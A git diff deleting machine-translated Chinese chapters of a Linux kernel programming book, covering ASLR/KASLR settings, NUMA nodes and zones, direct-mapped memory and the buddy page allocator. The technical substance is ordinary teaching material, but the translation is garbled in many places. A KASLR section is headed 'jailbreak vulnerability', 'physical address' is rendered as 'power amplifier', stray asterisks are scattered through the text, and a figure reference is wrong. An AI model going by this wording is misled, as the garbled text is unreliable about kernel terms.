只是一种统计保护。事实上,通常没有多少比特可用于随机化,因此熵不是很好。这意味着页面大小的偏移量不会太多,即使在 64 位系统上也是如此,因此可能会削弱实现。 - -现在让我们简要地看一些关于用户模式和内核模式 ASLR(后者被称为 KASLR)的更多细节;以下各节分别涵盖这些领域。 - -## 用户 ASL 模式 - -用户模式的 ASLR 通常就是术语 ASLR 的意思。启用它意味着这种保护在每个进程的用户空间映射中都可用。实际上,启用 ASLR 意味着用户模式进程的绝对内存映射在每次运行时都会发生变化。 - -ASLR 已经在 Linux 上支持了很长时间(从 2005 年 2.6.12 开始)。内核在 procfs 中有一个可调的伪文件,用于查询和设置(作为根)ASLR 状态;在这里:`/proc/sys/kernel/randomize_va_space`。 - -它可以有三个可能的值;下表显示了这三个值及其含义: - -| **可调值** | **在`/proc/sys/kernel/randomize_va_space`**中对该值的解释 | -| `0` | (用户模式)ASLR 关闭;或者可以通过在引导时传递内核参数`norandmaps`来关闭。 | -| `1` | (用户模式)ASLR 开启:基于`mmap(2)`的分配、堆栈和 vDSO 页面被随机化。这也意味着共享库加载位置和共享内存段是随机的。 | -| `2` | (用户模式)ASLR 开:前面所有的(值`1` ) *加上*堆位置是随机的(从 2.6.25 开始);默认情况下,这是操作系统的值。 | - -(如前一节所述,*vsyscall 页面*,vDSO 页面是一个系统调用优化,允许一些频繁发出的系统调用(`gettimeofday(2)`是一个典型的)以更少的开销被调用。如果感兴趣,您可以在 vDSO(7)的手册页上查找更多详细信息:这里:[https://man7.org/linux/man-pages/man7/vdso.7.html](https://man7.org/linux/man-pages/man7/vdso.7.html)。 [)](https://man7.org/linux/man-pages/man7/vdso.7.html) - -通过将`norandmaps`参数传递给内核(通过引导加载程序),用户模式 ASLR 可以在引导时关闭*。* - - *## 越狱漏洞 - -类似于(用户)KASLR 最近,从 3.14 内核开始——甚至*内核* VAS 也可以通过启用 KASLR 来随机化(在某种程度上)。这里,内核和模块代码在内核段中的基本位置将被随机分配一个相对于内存基本位置的页面对齐的随机偏移量。这对该届会议仍然有效;也就是说,直到电源循环或重启。 - -存在几个内核配置变量,使平台开发人员能够启用或禁用这些随机化选项。作为 x86 的一个具体例子,以下内容直接引用自`Documentation/x86/x86_64/mm.txt`: - -"Note that if CONFIG_RANDOMIZE_MEMORY is enabled, the direct mapping of all physical memory, vmalloc/ioremap space and virtual memory map are randomized. Their order is preserved but their base will be offset early at boot time." - -可以在引导时通过将参数传递给内核(通过引导加载程序)来控制 KASLR: - -* 通过传递`nokaslr`参数,明确关闭 -** 通过传递`kaslr`参数,明确开启* - - **那么,你的 Linux 系统当前的设置是什么?我们能改变它吗?当然可以(前提是我们有*根*访问权限);下一节将向您展示如何通过 Bash 脚本来实现这一点。 - -## 用脚本查询/设置 KASLR 状态 - -我们在`/ch7/ASLR_check.sh`提供了一个简单的 Bash 脚本。它检查是否存在(用户模式)ASLR 以及 KASLR,打印(彩色编码!)关于它们的状态信息。它还允许您更改 ASLR 值。 - -让我们在 x86_64 Ubuntu 18.04 来宾上旋转一下。由于我们的脚本被编程为彩色编码,我们在这里显示了它的输出截图: - -![](img/060b2140-c5fc-4118-93d3-930cc7687608.png) - -Figure 7.17 – Screenshot showing the output when our ch7/ASLR_check.sh Bash script runs on an x86_64 Ubuntu guest - -它会运行,向您显示(至少在此框中)用户模式和 KASLR 确实都已打开。不仅如此,我们还编写了一个小的“测试”例程来查看 ASLR 的功能。很简单:它运行以下命令两次: - -```sh -grep -E "heap|stack" /proc/self/maps -``` - -从您在前面的章节*中了解到的解释/proc/PID/map 输出*,您现在可以在图 7.17 中看到,堆和堆栈段的 UVA 在每次运行中*是不同的,从而证明了 ASLR 特性确实有效!比如看首发堆 UVA:第一次跑是`0x5609 15f8 2000`,第二次跑是`0x5585 2f9f 1000`。* - -接下来,我们将执行一个示例运行,将参数`0`传递给脚本,从而关闭 ASLR;以下屏幕截图显示了(预期的)输出: - -![](img/ba12d9b0-8157-4a77-9d0b-c3d220a58285.png) - -Figure 7.18 – Screenshot showing how ASLR is turned off (via our ch7/ASLR_check.sh script on an x86_64 Ubuntu guest) - -这一次,我们可以看到 ASLR 默认打开,但我们关闭了它。这在前面的截图中用粗体和红色突出显示。(一定要记得再次打开。)而且,正如预期的那样,当它关闭时,堆和堆栈的 UVA(分别)在两次测试运行中都保持不变,这是不安全的。我会留给你浏览和理解脚本的源代码。 - -To take advantage of ASLR, applications must be compiled with the `-fPIE` and `-pie` GCC flags (**PIE** stands for **Position Independent Executable**). - -ASLR 和 KASLR 都可以抵御某些类型的攻击媒介,返回到 libc、**面向返回的编程**(ROP)就是典型的例子。然而,不幸的是,白帽和黑帽安全是猫捉老鼠的游戏,击败 ASLR 和类似的方法是一些先进的漏洞利用做得很好的事情。更多详细信息,请参考本章的*进一步阅读*部分(在 *Linux 内核安全性*标题下)。 - -While on the topic of security, many useful tools exist to carry out vulnerability checks on your system. Check out the following: - -* `checksec.sh`脚本([http://www.trapkit.de/tools/checksec.html](http://www.trapkit.de/tools/checksec.html))显示各种“强化”措施及其当前状态(对于单个文件和进程):RELRO、堆栈加那利、支持 NX、PIE、RPATH、RUNPATH、符号的存在和编译器强化。 -* grsecurity 的 PaX 套件。 -* `hardening-check`脚本(checksec 的替代方案)。 -* Perl 脚本([https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check))对照一些预定义的清单检查(并建议)内核配置选项的安全性。 -* 其他几个:Lynis、`linuxprivchecker.py`、memory 等等。 - -因此,下次您在多次运行或会话中看到不同的内核或用户虚拟地址时,您会知道这可能是由于[K]ASLR 保护功能。现在,让我们继续探索 Linux 内核如何组织和使用物理内存来完成这一章。 - -# 物理内存 - -现在我们已经详细检查了*虚拟内存*视图,对于用户和内核花瓶,让我们转到 Linux 操作系统上物理内存组织的主题。 - -## 物理内存组织 - -Linux 内核在启动时,将物理内存组织和划分成一个树状层次结构,由节点、区域和页面框架组成(页面框架是内存的物理页面)(参见图 7.19 和图 7.20)。节点分为区域,区域由页面框架组成。一个节点抽象出一个物理“内存库”,它将与一个或多个处理器内核相关联。在硬件层面,微处理器连接到随机存取存储器控制器芯片;任何内存控制器芯片,以及任何随机存取存储器,都可以通过互连从任何中央处理器获得。现在,很明显,能够到达物理上最接近线程正在分配(内核)内存的内核的内存将导致性能增强。支持所谓的 NUMA 模型的硬件和操作系统利用了这一想法(稍后将解释其含义)。 - -### 节点 - -本质上,*节点*是用于表示系统主板上的物理内存模块及其相关控制器芯片组的数据结构。是的,我们说的是实际的*硬件*,这里是通过软件元数据抽象出来的。它总是与系统主板上的物理插槽(或处理器内核集合)相关联。存在两种层次结构: - -* **非统一内存访问(NUMA)** **系统**:内核分配请求发生在哪个内核上确实很重要(内存被统一处理*非*,导致性能提升 - -* **统一内存访问(UMA)** **系统**:内核分配请求发生在哪个内核无关紧要(内存统一处理) - -真正的 NUMA 系统是那些硬件是多核的系统(两个或多个中央处理器内核,SMP) *和*有两个或多个物理内存“库”,每个内存库与一个中央处理器(或多个中央处理器)相关联。换句话说,NUMA 系统将总是有两个或更多的节点,而 UMA 系统将只有一个节点(参考文献,抽象一个节点的数据结构称为`pg_data_t`,在此定义为:`include/linux/mmzone.h:pg_data_t`)。 - -你可能会想,为什么这么复杂?嗯,这——还有什么——都是关于性能的!NUMA 系统(它们通常是相当昂贵的服务器级机器)和它们运行的操作系统(Linux/Unix/Windows,通常)的设计方式是,当特定 CPU 内核上的进程(或线程)想要执行内核内存分配时,软件通过从离内核最近的节点获取所需内存(RAM)来保证它以高性能执行分配(因此被称为 NUMA 名字!).UMA 系统(您典型的嵌入式系统、智能手机、笔记本电脑和台式机)不会获得这些好处,它们也不重要。如今的企业级服务器系统可以有数百个处理器和万亿字节,甚至几千兆字节的内存!这些几乎总是被设计成 NUMA 系统。 - -然而,按照 Linux 的设计方式——这是一个关键点——即使是普通的 UMA 系统也被内核视为 NUMA(嗯,伪 NUMA)。他们将有*正好一个节点;*所以这是检查系统是 NUMA 还是 UMA 的快速方法——如果有两个或更多节点,这是一个真正的 NUMA 系统;只有一个,这是一个“假 NUMA”或伪 NUMA 盒子。怎么查?`numactl(8)`实用程序是一种方法(尝试执行`numactl --hardware`)。还有其他方法(通过*程序*本身)。坚持一下,你会到达那里的... - -所以,一个更简单的方法来形象化这一点:在 NUMA 盒子上,一个或多个中央处理器内核与一个物理内存“库”(硬件模块)相关联。因此,NUMA 系统总是一个对称多处理器系统。 - -为了让这个讨论变得实际,让我们简单地想象一下一个实际服务器系统的微架构——一个运行 AMD Epyc/锐龙/Threadripper(以及旧的推土机)CPU 的系统。它有以下内容: - -* 主板上两个物理插槽(P#0 和 P#1)内共有 32 个 CPU 内核(如操作系统所示)。每个插槽由 8x2 个 CPU 内核组成(8x2,因为实际上有 8 个物理内核,每个内核都是超线程;操作系统甚至将超线程内核视为可用内核)。 -* 总共 32 GB 的内存分成四个物理存储体,每个存储体 8 GB。 - -因此,Linux 内存管理代码在引导时检测到这种拓扑后,将设置*四个节点*来表示它。(这里我们不深究处理器的各种(L1/L2/L3/等)缓存;查看下图后的*提示*框,查看所有这些。) - -下面的概念图显示了在运行 Linux 操作系统的一些 AMD 服务器系统上形成的四个树状层次结构的近似值,每个节点一个。图 7.19 概念性地显示了耦合到不同 CPU 内核的系统上每个物理内存库的节点/区域/页面帧: - -![](img/2b2a91fb-31a3-45b1-9204-16661e0886b8.png) - -Figure 7.19 – (An approximate conceptual view of an) AMD server: physical memory hierarchy on Linux Use the powerful `lstopo(1)` utility (and its associated `hwloc-*` – hardware locality – utilities) to graphically view the hardware (CPU) topology of your system! (On Ubuntu, install it with `sudo apt install hwloc`). FYI, the hardware topography graphic of the previously mentioned AMD server system, generated by `lstopo(1)`, can be seen here: [https://en.wikipedia.org/wiki/CPU_cache#/media/File:Hwloc.png](https://en.wikipedia.org/wiki/CPU_cache#/media/File:Hwloc.png). - -在这里重申关键点:为了性能(这里参考图 7.19),在进程上下文中运行一些内核或驱动程序代码的线程,比如说,在 CPU #18 或更高版本上,向内核请求一些内存。内核的内存管理层,理解 NUMA,将从 NUMA 节点#2 上的任何区域中的任何空闲内存页面帧(即,从物理内存库#2)服务请求(作为第一优先级),因为它“最接近”发出请求的处理器内核。以防在 NUMA 节点#2 内的任何区域都没有可用的空闲页面帧,内核有一个智能回退系统。现在,它可能会穿过互连,从另一个节点:区域请求内存页面帧(不用担心,我们将在下一章中更详细地介绍这些方面)。 - -### 区域 - -区域可以被认为是 Linux 平滑和处理硬件怪癖的方式。这些在 x86 上激增,当然是 Linux“成长”的地方。他们还处理了一些软件困难(在现在主要是遗留的 32 位 i386 架构上查找`ZONE_HIGHMEM`;我们在前面的章节【32 位系统上的高内存】中讨论了这个概念。 - -区域由*页面框架*组成–内存的物理页面。从技术上讲,一系列的 **P** **年龄帧号**(**pfn**)被分配给节点内的每个区域: - -![](img/a7d6d028-276d-4cc7-95b3-e09ba3dcfb78.png) - -Figure 7.20 – Another view of the physical memory hierarchy on Linux – nodes, zones, and page frames - -在图 7.10 中,您可以看到一个带有 *N* 节点的通用(示例)Linux 系统(从`0`到`N-1`,每个节点由(比如说)三个区域组成,每个区域由内存的物理页面组成–*页面框架*。每个节点的区域数量(和名称)由内核在启动时动态确定。你可以通过在 *procfs 下钻研来检查 Linux 系统上的层次结构。*在下面的代码中,我们查看了一个具有 16 GB 内存的原生 Linux x86_64 系统: - -```sh -$ cat /proc/buddyinfo -Node 0, zone DMA 3 2 4 3 3 1 0 0 1 1 3 -Node 0, zone DMA32 31306 10918 1373 942 505 196 48 16 4 0 0 -Node 0, zone Normal 49135 7455 1917 535 237 89 19 3 0 0 0 -$ -``` - -最左边的一列显示我们只有一个节点–`Node 0`。这告诉我们我们实际上是在一个 *UMA 系统*上,当然 Linux 操作系统会把它当作一个(伪/假)NUMA 系统。这个单个节点`0`分为三个区域,分别标记为`DMA`、`DMA32`和`Normal`,每个区域当然都由页面框架组成。现在,忽略右边的数字;我们将在下一章了解它们的含义。 - -另一种注意 Linux 如何在 UMA 系统上“伪造”NUMA 节点的方式可以从内核日志中看到。我们在具有 16 GB 内存的同一个本机 x86_64 系统上运行以下命令。为了可读性,我用省略号替换了显示时间戳和主机名的前几列: - -```sh -$ journalctl -b -k --no-pager | grep -A7 "NUMA" - <...>: No NUMA configuration found - <...>: Faking a node at [mem 0x0000000000000000-0x00000004427fffff] - <...>: NODE_DATA(0) allocated [mem 0x4427d5000-0x4427fffff] - <...>: Zone ranges: - <...>:DMA [mem 0x0000000000001000-0x0000000000ffffff] - <...>: DMA32 [mem 0x0000000001000000-0x00000000ffffffff] - <...>: Normal [mem 0x0000000100000000-0x00000004427fffff] - <...>: Device empty - $ -``` - -我们可以清楚地看到,由于系统被检测为不是 NUMA(因此,UMA),内核伪造了一个节点。节点的范围是系统的内存总量(这里是`0x0-0x00000004427fffff`,确实是 16 GB)。我们还可以看到,在这个特定的系统上,内核实例化了三个区域——`DMA`、`DMA32`和`Normal`——来组织内存的可用物理页面框架。这很好,并且符合我们之前看到的`/proc/buddyinfo`输出。仅供参考,这里定义了代表 Linux 上*区域*的数据结构:`include/linux/mmzone.h:struct zone`。我们将有机会在本书的稍后部分参观它。 - -为了更好地理解 Linux 内核是如何组织内存的,让我们从最开始——启动时开始。 - -## 直接映射内存和地址转换 - -在启动时,Linux 内核将所有(可用的)系统内存(又称*平台内存*)直接“映射”到内核段。因此,我们有以下内容: - -* 物理页面框架`0`映射到内核虚拟页面`0`。 -* 物理页面框架`1`映射到内核虚拟页面`1`。 -* 物理页面框架`2`映射到内核虚拟页面`2`等等。 - -因此,我们称之为 1:1 或直接映射、标识映射内存或线性地址。一个关键点是,所有这些内核虚拟页面都与它们的物理对应物有一个固定的偏移量(并且,正如已经提到的,这些内核地址被称为内核逻辑地址)。固定偏移量为`PAGE_OFFSET`值(此处为`0xc000 0000`)。 - -所以,想想这个。在具有 3:1 虚拟机分割的 32 位系统上,物理地址`0x0` =内核逻辑地址`0xc000 0000` ( `PAGE_OFFSET`)。如前所述,术语*内核逻辑地址*适用于与物理地址有固定偏移量的内核地址。因此,直接映射内存映射到内核逻辑地址。直接映射内存的这个区域通常被称为内核段内的*低内存*(或简称为**低内存**)区域。 - -在图 7.10 中,我们已经展示了一个几乎相同的图。在下图中,它被稍微修改,实际上向您展示了内存的前三个(物理)页面帧如何映射到前三个内核虚拟页面(在内核段的 lowmem 区域中): - -![](img/392a747d-3601-4104-83b4-89903d4f557b.png) - -Figure 7.21 – Direct-mapped RAM – lowmem region, on 32-bit with a 3:1 (GB) VM split - -例如,图 7.21 显示了平台内存到 32 位系统内核段的直接映射,该系统具有 3:1 (GB)虚拟机分割。物理内存地址`0x0`映射到内核的点是`PAGE_OFFSET`内核宏(在上图中,是内核逻辑地址`0xc000 0000`)。注意图 7.21 如何在左侧显示*用户 VAS* ,范围从`0x0`到`PAGE_OFFSET-1`(大小为`TASK_SIZE`字节)。我们已经在前面的*检查内核段*一节中介绍了内核段剩余部分的细节。 - -理解这种物理页面到虚拟页面的映射可能会诱使您得出这些看似合乎逻辑的结论: - -* 给定一个 KVA,要计算相应的**物理地址**(**PA**)–即执行 KVA 到 PA 的计算–只需执行以下操作: - -```sh -pa = kva - PAGE_OFFSET -``` - -* 相反,给定一个功率放大器,要计算相应的 KVA,即执行功率放大器到 KVA 的计算,只需执行以下操作: - -```sh -kva = pa + PAGE_OFFSET -``` - -请务必再次参考图 7.21。内存到内核段的直接映射(从`PAGE_OFFSET`开始)肯定预示了这个结论。所以,这是正确的。但是坚持住,请在这里仔细注意:**这些地址转换计算只适用于直接映射或线性地址**-换句话说,KVAs(技术上,内核逻辑地址)–**在内核的 lowmem 区域内,没有其他!**对于所有 UVA,以及除了之外的任何和所有 KVA*低 mem 区域(包括模块地址、`vmalloc` / `ioremap` (MMIO)地址、KASAN 地址、(可能的)高 mem 区域地址、DMA 存储区域等等),它不*工作!** - -正如您所料,内核确实提供了执行这些地址转换的 APIs 当然,它们的实现依赖于 arch。它们在这里: - -| **内核 API** | **它做什么** | -| `phys_addr_t virt_to_phys(volatile void *address)` | 将给定的虚拟地址转换为其物理对应地址(返回值) | -| `void *phys_to_virt(phys_addr_t address)` | 将给定的物理地址转换为虚拟地址(返回值) | - -x86 的`virt_to_phys()` API 上面有一条评论,明确鼓吹这个 API(及其同类)是**不被驱动作者**使用;为了清晰和完整,我们在内核源代码中复制了以下评论: - -```sh -// arch/x86/include/asm/io.h -[...] -/** - * virt_to_phys - map virtual addresses to physical - * @address: address to remap - * - * The returned physical address is the physical (CPU) mapping for - * the memory address given. It is only valid to use this function on - * addresses directly mapped or allocated via kmalloc. - * - * This function does not give bus mappings for DMA transfers. In - * almost all conceivable cases a device driver should not be using - * this function - */ -static inline phys_addr_t virt_to_phys(volatile void *address) -[...] -``` - -前面的评论提到了(非常常见的)`kmalloc()` API。不用担心,下面两章会深入讨论。当然,对于`phys_to_virt()`应用编程接口也有类似的评论。 - -So who – sparingly – uses these address conversion APIs (and the like)? The kernel internal *mm* code, of course! As a demo, we do actually use them in at least a couple of places in this book: in the following chapter, in an LKM called `ch8/lowlevel_mem` (well actually, its usage is within a function in our "kernel library" code, `klib_llkd.c`). - -FYI, the powerful `crash(8)` utility can indeed translate any given virtual address to a physical address via its `vtop` (virtual-to-physical) command (and vice versa, via its `ptov` command!). - -接下来,另一个关键点:通过将所有物理内存映射到其中,不要被误导为内核正在为自己保留*内存。不,它不是;这只是*映射*所有可用的内存,从而使它可以分配给任何想要它的人——核心内核代码、内核线程、设备驱动程序或用户空间应用。这是操作系统工作的一部分;毕竟,它是系统资源管理器。当然,在启动时,内存的某一部分无疑会被静态内核代码、数据、内核页表等占用(分配),但您应该意识到这是相当小的。例如,在我的具有 1 GB 内存的来宾虚拟机上,内核代码、数据和 BSS 通常总共占用大约 25 MB 的内存。所有内核内存都达到 100 兆左右,而用户空间内存使用量在 550 兆左右!内存占用者几乎总是用户空间。* - -*You can try using the `smem(8)` utility with the `--system -p` option switches to see a summary of memory usage as percentages (also, use the `--realmem=` switch to pass the actual amount of RAM on the system). - -回到正题:我们知道内核页表是在引导过程的早期建立的。因此,当应用启动时,*内核已经映射了所有内存并可用*,准备分配!因此,我们理解,虽然内核*将*页面帧直接映射到其 VAS 中,但用户模式进程并不那么幸运——它们只能通过操作系统设置的分页表(在进程创建时–`fork(2)`–时间)在每个进程的基础上间接映射页面帧。同样,有趣的是,通过强大的`mmap(2)`系统调用实现内存映射可以提供将文件或匿名页面“直接映射”到用户 VAS 中的错觉。 - -A few additional points to note: -(a) For performance, kernel memory (kernel pages) can *never be swapped*, even if they aren't in use - -(b) Sometimes, you might think, it's quite obvious that *user space memory pages map to (physical) page frames (assuming the page is resident) via the paging tables set up by the OS on a per-process basis*. Yes, but what about kernel memory pages? Please be very clear on this point: *all kernel pages also map to page frames via the kernel "master" paging table. Kernel memory, too, is virtualized, just as user space memory is.* In this regard, for you, the interested reader, a QnA I initiated on Stack Overflow: *How exactly do kernel virtual addresses get translated to physical RAM?:* [http://stackoverflow.com/questions/36639607/how-exactly-do-kernel-virtual-addresses-get-translated-to-physical-ram](http://stackoverflow.com/questions/36639607/how-exactly-do-kernel-virtual-addresses-get-translated-to-physical-ram).(c) Several memory optimization techniques have been baked into the Linux kernel (well, many are configuration options); among them are **Transparent Huge Pages** (**THPs**)and, critical for cloud/virtualization workloads, **Kernel Samepage Merging** (**KSM**, aka memory de-duplication)*.* I refer you to the *Further reading* section of this chapter for more information. - -好了,关于物理内存管理的一些方面的报道已经结束了,我们完成了这一章;优秀的进步! - -# 摘要 - -在这一章中,我们相当深入地研究了内核内存管理这个大主题,其详细程度足以让像您这样的内核模块或设备驱动程序作者了解;还有,还会有更多!这个难题的一个关键部分——虚拟机拆分以及它是如何在运行 Linux 操作系统的各种体系结构上实现的——是一个起点。然后,我们深入研究了这种分裂的两个区域:首先是用户空间(进程 VAS),然后是内核 VAS(或内核段)。在这里,我们介绍了关于如何检查它的许多细节和工具/实用程序(特别是通过非常强大的`procmap`实用程序)。我们构建了一个演示内核模块,可以生成一个相当完整的内核和调用过程的内存映射。还简要讨论了用户和内核内存布局随机化技术(ASLR)。我们通过研究 Linux 中内存的物理组织来结束这一章。 - -所有这些信息和本章所学的概念实际上*非常有用;*不仅仅是为了设计和编写更好的内核/设备驱动程序代码,也非常适合遇到系统级问题和 bug 的时候。 - -这一章很长,而且确实很关键;完成它的伟大工作!接下来,在接下来的两章中,您将继续学习如何准确有效地分配(和解除分配)内核内存的关键和实际方面,以及这一常见活动背后的相关重要概念。上,上! - -# 问题 - -作为我们的总结,这里有一个问题列表,供您测试您对本章材料的知识:[https://github . com/packt publishing/Linux-Kernel-Programming/tree/master/questions](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/questions)。你会在这本书的 GitHub repo 中找到一些问题的答案:[https://GitHub . com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions _ to _ assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions_to_assgn)。 - -# 进一步阅读 - -为了帮助您用有用的材料更深入地研究这个主题,我们在本书的 GitHub 存储库中的进一步阅读文档中提供了一个相当详细的在线参考资料和链接列表(有时甚至是书籍)。*进一步阅读*文档可在此处获得:[https://github . com/packt publishing/Linux-Kernel-Programming/blob/master/进一步阅读. md](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/Further_Reading.md) 。***************** \ No newline at end of file diff --git a/docs/linux-kernel-prog/08.md b/docs/linux-kernel-prog/08.md deleted file mode 100644 index 1d92fd08..00000000 --- a/docs/linux-kernel-prog/08.md +++ /dev/null @@ -1,1201 +0,0 @@ -# 八、面向模块作者的内核内存分配——第一部分 - -在前两章中,一章是关于内核内部方面和体系结构,另一章是关于内存管理内部的本质,我们讨论了作为本章和下一章所需背景信息的关键方面。在这一章和下一章中,我们将通过各种方式来讨论内核内存的实际分配和释放。我们将通过您可以测试和调整的内核模块来演示这一点,详细说明它的原因和方式,并提供许多真实世界的提示和技巧,使像您这样的内核或驱动程序开发人员能够在内核模块中使用内存时获得最大的效率。 - -在本章中,我们将介绍内核的两个主要内存分配器——页面分配器 ( **PA** )(又名**伙伴系统分配器** ( **BSA** )和平板分配器。我们将深入研究在内核模块中使用它们的 API 的本质。实际上,我们将远远不止简单地看到如何使用 API,清楚地展示为什么所有情况下都不是最佳的,以及如何克服这些情况。[第 9 章](09.html)、*面向模块作者的内核内存分配–第 2 部分*,将继续我们对内核内存分配器的介绍,深入一些更高级的领域。 - -在本章中,我们将涵盖以下主题: - -* 介绍内核内存分配器 -* 理解和使用内核页面分配器 -* 理解和使用内核板分配器 -* kmalloc 应用编程接口的大小限制 -* 平板分配器-一些额外的细节 -* 使用平板分配器时的注意事项 - -# 技术要求 - -我假设您已经完成了[第 1 章](01.html)、*内核工作区设置*,并适当准备了一个运行 Ubuntu 18.04 LTS(或更高版本的稳定版本)的来宾**虚拟机** ( **VM** )并安装了所有需要的软件包。如果没有,我强烈建议你先做这个。 - -为了充分利用这本书,我强烈建议您首先设置工作区 -环境,包括克隆这本书的 GitHub 存储库([https://github.com/PacktPublishing/Linux-Kernel-Programming](https://github.com/PacktPublishing/Linux-Kernel-Programming))以获取代码,并以动手的方式对其进行操作。 - -参考*Linux 动手系统编程*,万凯 N 比利莫利亚,Packt([https://www . packtpub . com/networking-and-servers/hand-System-Programming-Linux](https://www.packtpub.com/networking-and-servers/hands-system-programming-linux))作为本章的先决条件(必读,真的): - -* *第 1 章**Linux 系统架构* -* *第二章**虚拟记忆* - -# 介绍内核内存分配器 - -与任何其他操作系统一样,Linux 内核需要一个强大的算法和实现来执行一项真正关键的任务——内存或页面帧(RAM)的分配和后续释放。Linux 操作系统中的主要(去)分配器引擎被称为 PA,或 BSA。在内部,它使用所谓的伙伴系统算法来有效地组织和分配系统内存的空闲块。我们将在*理解和使用内核页面分配器(或 BSA)* 部分找到更多关于算法的信息。 - -In this chapter and in this book, when we use the notation *(de)allocate*, please read it as both words: *allocate* and *deallocate*. - -当然,由于不完美,页面分配器并不是获得并随后释放系统内存的唯一或总是最好的方法。Linux 内核中还有其他技术可以做到这一点。其中排名靠前的是内核的 **slab 分配器**或 **slab 缓存**系统(我们在这里使用单词 *slab* 作为这种分配器的通用名,因为它起源于这个名字;然而在实践中,Linux 内核使用的现代 slab 分配器的内部实现被称为 SLUB(未引用的 slab 分配器);稍后将对此进行更多介绍)。 - -这样想:slab 分配器解决了一些问题,并通过页面分配器优化了性能。具体是什么问题?我们很快就会看到。不过,目前来看,理解真正(去)分配物理内存的唯一方法是通过页面分配器,这一点非常重要。页面分配器是 Linux 操作系统上内存分配的主要引擎! - -To avoid confusion and repetition, we will from now on refer to this primary allocation engine as the page allocator. *Y*ou will understand that it's also known as the BSA (derived from the name of the algorithm that drives it). - -因此,平板分配器被分层在页面分配器之上。各种核心内核子系统,以及内核中的非核心代码,如设备驱动程序,可以直接通过页面分配器或间接通过平板分配器分配(和解除分配)内存;下图说明了这一点: - -![](img/eeb768cb-262b-456e-a24b-340cb9b83d32.png) - -Figure 8.1 – Linux's page allocator engine with the slab allocator layered above it - -从一开始就要明确几件事: - -* 整个 Linux 内核及其所有核心组件和子系统(不包括内存管理子系统本身)最终使用页面分配器(或 BSA)进行内存(de)分配。这包括非核心的东西,比如内核模块和设备驱动程序。 -* 前面的系统完全驻留在内核(虚拟)地址空间中,不能从用户空间直接访问。 - -* 页面分配器获取内存的页面框架(内存)位于内核低内存区域,或者内核段的直接映射内存区域(我们在上一章中详细介绍了内核段) -* slab 分配器最终是页面分配器的用户,因此它自己从那里获得内存(这也意味着从内核 lowmem 区域) -* 用户空间动态内存分配熟悉的`malloc`系列 API 不会直接映射到前面的层(也就是说,在用户空间中调用`malloc(3)`*不会直接调用*页面或平板分配器)。这是间接的。具体怎么做?你会学会如何;耐心点!(这个重点覆盖在下一章的两个小节,其实涉及到需求分页;当你读那一章的时候,小心它!) -* 另外,要明确的是,Linux 内核内存是不可交换的。它永远无法换出到磁盘;这是在早期 Linux 时代为了保持高性能而决定的。默认情况下,用户空间内存页面总是可交换的;这可以由系统程序员通过`mlock()` / `mlockall()`系统调用来改变。 - -现在,系好安全带!有了对页面分配器和 slab 分配器的基本理解,让我们开始学习 Linux 内核的内存分配器是如何工作的(基础知识),更重要的是,如何很好地使用它们。 - -# 理解和使用内核页面分配器 - -在本节中,您将了解 Linux 内核的主(去)分配器引擎的两个方面: - -* 首先,我们将介绍这个软件(称为伙伴系统)背后的算法基础。 -* 然后,我们将介绍它向内核或驱动程序开发人员公开的 API 的实际使用情况。 - -理解页面分配器背后算法的基础很重要。然后,您将能够理解它的优点和缺点,以及在何种情况下何时使用哪些 API。让我们从它的内部运作开始。同样,请记住,本书关于内部内存管理细节的范围是有限的。我们将把它覆盖到一个被认为足够的深度,仅此而已。 - -## 页面分配器的基本工作原理 - -我们将把这次讨论分成几个相关的部分。让我们从内核的页面分配器如何通过其 freelist 数据结构跟踪空闲物理页面帧开始。 - -### 自由列表组织 - -页面分配器(伙伴系统)算法的关键是它的主要内部元数据结构。它被称为好友系统自由列表,由指向(哦,太普通了!)双链接循环列表。这个指针数组的索引叫做列表的顺序——它是 2 的幂。数组长度从`0`到`MAX_ORDER-1`。`MAX_ORDER`的价值取决于拱。在 x86 和 ARM 上,它是 11,而在安腾等大型系统上,它是 17。因此,在 x86 和 ARM 上,订单范围从 2 0 到 210;也就是从 1 到 1024。这是什么意思?一定要读下去... - -每个双向链接的循环列表指向大小为 *2 顺序T3】的空闲物理连续页面帧。因此(假设页面大小为 4 KB),我们得到了以下列表:* - -* 2 0 = 1 页= 4 KB 区块 -* 2 1 = 2 页= 8 KB 区块 -* 2 2 = 4 页= 16 KB 区块 -* 2 3 = 8 页= 32 KB 区块 -* 2 10 = 1024 页= 1024*4 KB = 4 MB 区块 - -下图是页面分配器 freelist(单个实例)的简化概念性说明: - -![](img/67223695-1ea4-47ee-b5cb-72ebf9e51799.png) - -Figure 8.2 – Buddy system/page allocator freelist on a system with 4 KB page size and MAX_ORDER of 11 - -在上图中,每个内存“块”由一个方形框表示(为了简单起见,我们在图中使用相同的大小)。当然,在内部,这些不是真正的内存页面;相反,这些框表示指向物理内存框架的元数据结构(struct page)。在图的右侧,我们显示了可以在左侧列表中排队的每个物理上连续的空闲内存块的大小。 - -内核通过`proc`文件系统(在我们拥有 1 GB 内存的 Ubuntu 客户虚拟机上)为我们提供了一个页面分配器当前状态的便捷(汇总)视图: - -![](img/cfb090a9-cc6f-4b15-ae30-02e1c5f796fd.png) - -Figure 8.3 – Annotated screenshot of sample /proc/buddyinfo output - -我们的来宾虚拟机是一个伪 NUMA 盒,有一个节点(`Node 0`)和两个区域(`DMA`和`DMA32`)。`zone XXX`后面的数字是空闲(物理上连续!)页面框架按顺序 0,顺序 1,顺序 2,一直到`MAX_ORDER-1`(此处,*11–1 = 10*)。因此,让我们从前面的输出中举几个例子: - -* 节点`0`的顺序`0`列表中有 35 个单页空闲内存块,区域 DMA。 -* 在节点`0`,区域 DMA32,顺序`3`,这里*图 8.3* 所示的数字是 678;现在,取 *2 顺序= 23**= 8**页面帧数= 32 KB* (假设页面大小 4kb);这意味着该列表中有 678 个 32 KB 物理上连续的空闲内存块。 - -需要注意的是**每个数据块都保证是物理上连续的内存,并且本身就是**。另外,请注意,给定顺序的内存块的大小总是前一个顺序的两倍(下一个顺序的一半)。当然,这是因为它们都是 2 的幂。 - -Note that `MAX_ORDER` can (and does) vary with the architecture. On regular x86 and ARM systems, it's `11`, yielding a largest chunk size of 4 MB of physically contiguous RAM on order 10 of the freelists. On high-end enterprise server class systems running the Itanium (IA-64) processor, `MAX_ORDER` can be as high as `17` (implying a largest chunk 